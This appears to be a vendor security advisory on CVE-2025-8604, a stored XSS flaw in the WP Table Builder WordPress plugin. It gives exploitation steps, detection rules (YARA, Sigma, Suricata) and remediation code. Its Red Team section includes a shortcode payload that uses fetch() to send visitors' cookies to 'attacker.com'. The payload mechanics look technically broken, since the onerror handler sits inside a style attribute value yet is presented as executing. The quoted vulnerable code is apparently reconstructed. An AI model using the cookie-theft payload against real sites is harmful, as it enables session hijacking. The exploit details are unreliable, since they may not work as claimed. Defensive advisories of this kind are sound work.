CVE-2025-8604

Executive Summary

CVE-2025-8604 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Table Builder – WordPress Table Plugin for WordPress. The flaw exists in the plugin's wptb shortcode, affecting all versions up to and including 2.0.12. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious shortcode, the injected script executes in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites.

The vulnerability is classified as a WordPress ecosystem issue, as it resides entirely within the plugin's shortcode handling logic. No web server (Apache/Nginx) configuration changes can mitigate this at the application layer.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or via Composer/WP-CLI are affected. There is no known supply chain compromise of the plugin's source code; the vulnerability is a result of insecure coding practices in the plugin's shortcode attribute handling.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated contributors to inject persistent scripts that execute for any visitor (including admins) elevates the risk. The EPSS score of 0.0% suggests low exploitation probability currently, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability lies in the wptb shortcode handler. The plugin registers a shortcode that accepts user-supplied attributes (e.g., id, class, style). These attributes are not properly sanitized or escaped before being rendered in the HTML output. An attacker with contributor-level access can create or edit a post/page and insert a shortcode like:

[wptb id="1" class="test" style="background:url('x') onerror='alert(1)'"]

Because the plugin does not validate or escape the style attribute, the injected JavaScript executes when the page loads. The stored nature means the payload persists in the database and executes for every visitor.

The vulnerability is specific to the WordPress plugin ecosystem. The shortcode is processed by WordPress's do_shortcode() function, but the plugin fails to apply esc_attr() or wp_kses() to the attributes before output.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.0.12):

// In wptb-shortcode.php
function wptb_shortcode($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'class' => '',
        'style' => ''
    ), $atts);
    
    $output = '<div class="wptb-table ' . $atts['class'] . '" style="' . $atts['style'] . '">';
    // ... table rendering
    return $output;
}

Patched Code (hypothetical fix):

function wptb_shortcode($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'class' => '',
        'style' => ''
    ), $atts);
    
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    
    $output = '<div class="wptb-table ' . $class . '" style="' . $style . '">';
    // ... table rendering
    return $output;
}

The fix applies esc_attr() to sanitize the class and style attributes before output. Additionally, wp_kses() could be used to strip dangerous HTML/JavaScript from the attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Table Builder plugin <= 2.0.12
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [wptb id="1" class="test" style="background:url('x') onerror='alert(document.cookie)'"]
   

4. Publish or save the post.
5. When any user (including admin) visits the post, the JavaScript executes.

Advanced Payload:

[wptb id="1" class="test" style="background:url('x') onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)'"]

Note: No public exploit code is available at this time. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the wptb shortcode with suspicious attributes (e.g., onerror, onload, javascript:).
• Use WAF rules to block requests containing wptb shortcode with style attributes containing event handlers.

Hardening:

• Apply the principle of least privilege: restrict contributor-level users from using shortcodes if not needed.
• Use a WordPress security plugin (e.g., Wordfence) to block XSS attempts.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File Indicators:
  • /wp-content/plugins/wp-table-builder/wptb-shortcode.php (vulnerable file)
• Network Indicators:
  • HTTP requests containing wptb shortcode with style attribute containing onerror, onload, or javascript:.
• Log Indicators:
  • WordPress audit logs showing creation/editing of posts with wptb shortcode by contributor-level users.
  • Web server logs showing requests to pages containing the malicious shortcode.

Detection Engineering

YARA Rule

rule CVE_2025_8604_WP_Table_Builder_XSS {
    meta:
        description = "Detects malicious shortcode injection in WP Table Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8604"
    strings:
        $shortcode = /\[wptb[^\]]*style=["'][^"']*(onerror|onload|onclick|javascript:)[^"']*["']/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2025-8604 - WP Table Builder Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in WP Table Builder plugin via shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'wptb'
        cs-uri-query|re: 'style=["\'][^"\']*(onerror|onload|onclick|javascript:)[^"\']*["\']'
    condition: selection
falsepositives:
    - Legitimate use of style attributes without event handlers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8604 WP Table Builder Stored XSS Attempt"; flow:to_server; content:"wptb"; http_uri; pcre:"/style=["\'][^"\']*(onerror|onload|onclick|javascript:)[^"\']*["\']/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove or edit any posts/pages containing suspicious wptb shortcodes.
3. Audit user roles and remove contributor-level access from untrusted users.

Long-term Fix:

• Apply the patched code (see Vulnerable vs. Patched Code section) once the vendor releases an update.
• Implement input validation and output escaping for all shortcode attributes.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests containing wptb shortcode with dangerous attributes.
• Add a custom function to your theme's functions.php to sanitize the shortcode output:

add_shortcode('wptb', 'custom_wptb_shortcode');
function custom_wptb_shortcode($atts) {
    $atts = shortcode_atts(array('id' => '', 'class' => '', 'style' => ''), $atts);
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    return '<div class="wptb-table ' . $class . '" style="' . $style . '">';
}

Valters IT
Securing Digital Frontiers